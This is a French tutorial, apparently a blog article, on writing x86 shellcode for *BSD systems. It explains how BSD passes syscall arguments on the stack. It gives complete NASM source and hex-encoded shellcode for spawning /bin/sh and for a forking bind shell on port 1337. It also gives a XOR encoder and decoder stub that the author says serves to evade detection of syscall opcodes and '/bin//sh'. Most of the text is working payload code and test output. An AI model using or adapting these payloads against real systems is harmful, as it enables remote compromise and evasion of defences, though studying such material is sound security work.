Introduction
Dans cet article, j’expliquerais comment créer des shellcodes sur les systèmes *BSD, pour les architectures x86. Je détaillerai surtout le fonctionnement des syscall et comment les utiliser, car c’est à peu prêt la seule chose qui diffère comparé à un système Linux.
Les outils que j’utilise sont : nasm, ld, objdump et shelltest, un programme de ma conception, permettant l’automatisation de la création de shellcodes. Vous pouvez retrouver la source sur mon SVN : http://websvn.tuxfamily.org/filedet...
Les appels systèmes
Bien, donc comme je le disais, les appels systèmes sont légèrement différents sous BSD, car les paramètres sont envoyés sur la stack, et non dans les registres.
Les numéros des appels systèmes se trouvent dans /usr/src/sys/kern/syscalls.master. Le numéro est à mettre dans eax, et les paramètres sur la pile, dans l’ordre inverse de leurs déclaration.
Il faut aussi rajouter un padding de 4 octets, qui est destiné généralement à EIP.
Par exemple, voici comment afficher un caractère à l’écran :
global _start
_start:
xor eax, eax ; mise à 0 du registre eax
push 'AAAA' ; On met le caractère à afficher sur la pile (4 'A' pour éviter les nul bytes)
mov ebx, esp ; adresse du caractère à afficher
mov al, 1 ; On empile la taille
push eax
push ebx ; On empile le buffer
push eax ; On empile 1 (STDOUT)
push eax ; PADDING
mov al, 4 ; syscall sys_write
int 0x80 ; appel système
mov al, 1 ; exit
int 0x80
Testons :
Len : 23 bytes
Shellcode : \x31\xc0\x68\x41\x41\x41\x41\x89\xe3\xb0\x01\x50\x53\x50\x50\xb0\x04\xcd\x80\xb0\x01\xcd\x80
A[tosh@localhost /usr/home/tosh]$
Pas trop mal, non ?
Exécuter un shell
Afficher un caractère c’est bien, mais exécuter un shell serait mieux, non ?
D’après le fichier syscalls.master, le syscall execve est le 59. Il prend trois arguments, le nom du fichier à exécuter (/bin/sh), les arguments du programme et l’environnement. Le dernier sera mit à NULL.
Voici ce que ça donne :
global _start
_start:
xor eax, eax
push eax ; nul byte
push '//sh'
push '/bin' ; On stock la chaine sur la pile
mov ebx, esp ; Pointeur sur '/bin//sh'
push eax ; argv[1] = NULL
push ebx ; argv[0] = '/bin//sh'
mov ecx, esp ; ecx = argv
push eax ; Empile env (NULL)
push ecx ; Empile argv
push ebx ; Empile '/bin//sh'
mov al, 59 ; Appel system execve()
push eax ; PADDING
int 0x80
Bon bien sûr ici je m’embête à remplir argv, ce qui n’est à priori pas nécessaire.
Testons :
Len : 27 bytes
Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80
$
Parfait, nous avons notre shell !
Shellcodes & sockets
Bien, voyons un peu comment fonctionnent les appels systèmes liés aux sockets maintenant, en vue de faire par exemple un bindshell.
En regardant un peu dans syscalls.master, on remarque que presque toutes les primitives C tel que connect(), accept(), listen(), trouvent leurs équivalents dans les appels systèmes.
C’est je trouve plus simple que sur Linux, où il n’y a qu’un seul appel à socket, et dont le fonctionnement dépends du paramètre qu’on lui donne.
On retrouve ici une correspondance C -> assembleur, ce qui facilite la tâche.
Bien, pour un bindport, il faut donc effectuer les appels systèmes suivants : socket, bind, listen, accept, dup2, execve.
On peut aussi éventuellement faire un fork après le accept, pour accepter plusieurs connexions à la fois, et éviter que le shellcode se termine lorsque l’on quitte le shell.
Allons-y !
J’ai commenté au maximum le code, pour l’expliquer :
global _start
_start:
xor eax, eax
push eax ; protocol
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push eax ; PADDING
mov al, 97 ; socket(AF_INET, SOCK_STREAM, 0)
int 0x80
mov esi, eax ; Sauvegarde du fd socket dans esi
xor eax, eax ; Construction d'une sockaddr
push eax
push word 0x3905 ; Port 1337
push word 0x0201
mov ecx, esp ; Pointeur sur sockaddr
push byte 16 ; sizeof(sockaddr)
push ecx ; sockaddr*
push esi ; sock
push eax ; PADDING
mov al, 104 ; bind(sock, sockaddr*, sizeof(sockaddr))
int 0x80
xor eax, eax
mov al, 5
push eax
push esi
push eax
mov al, 106 ; listen(sock, 5)
int 0x80
.ACCEPT:
xor eax, eax
push eax
push eax
push esi
push eax
mov al, 30 ; accept(sock, 0, 0)
int 0x80
mov edi, eax
xor eax, eax
push eax
mov al, 2 ; fork()
int 0x80
or eax, eax ; le processus fils retourne sur le accept()
jz .ACCEPT
xor ecx, ecx ; dup2 STDERR, STDIN, STDOUT
.L:
push ecx
push edi
xor eax, eax
mov al, 90 ; dup2(sock, ecx)
push eax
int 0x80
inc cl
cmp cl, 3
jne .L
xor eax, eax
push eax ; nul byte
push '//sh'
push '/bin' ; On stock la chaine sur la pile
mov ebx, esp ; Pointeur sur '/bin//sh'
push eax ; argv[1] = NULL
push ebx ; argv[0] = '/bin//sh'
mov ecx, esp ; ecx = argv
push eax ; Empile env (NULL)
push ecx ; Empile argv
push ebx ; Empile '/bin//sh'
mov al, 59 ; Appel system execve()
push eax ; PADDING
int 0x80
Testons :
Len : 115 bytes
Shellcode : \x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc6\x31\xc0\x50\x66\x68\x05\x39\x66
\x68\x01\x02\x89\xe1\x6a\x10\x51\x56\x50\xb0\x68\xcd\x80\x31\xc0\xb0\x05\x50\x56\x50\xb0\x6a\xcd\x80
\x31\xc0\x50\x50\x56\x50\xb0\x1e\xcd\x80\x89\xc7\x31\xc0\x50\xb0\x02\xcd\x80\x09\xc0\x74\xe9\x31\xc9
\x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68
\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80
Nous pouvons maintenant nous connecter sur le port 1337 avec ncat, et quitter le shell ne termine pas le shellcode.
Bon, bien sûr, la taille peut être optimisée ici. De plus, ici ce n’est pas super propre, car si il y a de nombreuses connexions sur le shellcode, il finira par planter, étant donné que je ne nettoie pas la pile à chaque appel à execve. Mais bon, pour un shellcode ça ira bien comme ça...
Encoder un shellcode
Bien, je vais maintenant montrer comment encoder simplement un shellcode, en vue de passer certaines protections, comme par exemple la reconnaissance des opcodes "\xcd\x80" (appel système) ou "/bin//sh".
Le plus simple à implémenter, est un cryptage XOR, avec une clef d’un octet.
Le shellcode devra être décodé par une routine, avant d’être exécuté. Il aura donc cette forme :
[ Decoder ] [ Shellcode ]
Pour le décoder, le plus dur va être de déterminer l’adresse exacte du shellcode, car il n’y a aucun moyen de le déterminer à l’avance. Pour ce faire, nous utiliserons les instructions jmp shellcode, call decoder, pop. Il faudra aussi qu’il sache où le shellcode se termine, j’utiliserai un octet 0x90 que je mettrai à la fin du shellcode pour savoir quand s’arrêter.
Bien, commençons par prendre un shellcode, et le crypter avec une clef quelconque (Il ne faut pas qu’il y ai de 0x90 ni de 0x00 dans les opcodes). On va reprendre le shellcode exécutant un shell, il ira très bien.
Voici le programme que j’ai utilisé pour le crypter avec la clef 0xcc :
Ce qui nous donne : ,0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c
Codons maintenant le decoder :
global _start
_start:
jmp short CALL ; On saute sur le CALL
RET:
pop esi ; On met dans esi l'adresse du shellcode
LOOP:
cmp byte[esi], 0x90 ; Est-on arrivé à la fin ?
je SHELLCODE ; Si oui, le shellcode est decrypté, on peut jmp dessus
xor byte[esi], 0xcc ; Sinon, on décrypte l'octet courant avec la clef 0xcc
inc esi
jmp LOOP
CALL:
call RET ; call empile la prochaine instruction, ici notre shellcode
SHELLCODE: ; Notre shellcode crypté
db 0xfd,0x0c,0x9c,0xa4,0xe3,0xe3,0xbf,0xa4,0xa4,0xe3,0xae,0xa5,0xa2,0x45,0x2f,0x9c,0x9f,0x45,0x2d,0x9c,0x9d,0x9f,0x7c,0xf7,0x9c,0x01,0x4c
db 0x90 ; Octet de terminaison du shellcode
Essayons le :
Len : 50 bytes
Shellcode : \xeb\x0f\x5e\x80\x3e\x90\x74\x0e\x80\x36\xcc\x46\xe9\xf2\xff\xff\xff\xe8\xec\xff\xff\xff\xfd\x0c\x9c\xa4\xe3\xe3\xbf\xa4\xa4\xe3\xae\xa5\xa2\x45\x2f\x9c\x9f\x45\x2d\x9c\x9d\x9f\x7c\xf7\x9c\x01\x4c\x90
$
Parfait, nous avons encore notre shell !
Bien sûr, pour que celà fonctionne, il faut que la zone où est injecté le shellcode soit +rwx, ce qui devient rare de nos jours...
Voilà, je vais m’arrêter là, peut être que j’étofferai cet article avec le temps, le monde du shellcoding est tellement vaste et intéressant, qu’il y a encore de nombreuses choses à dire.
Good programming !




Flux Dynamique




Documentation publiés dans cette rubrique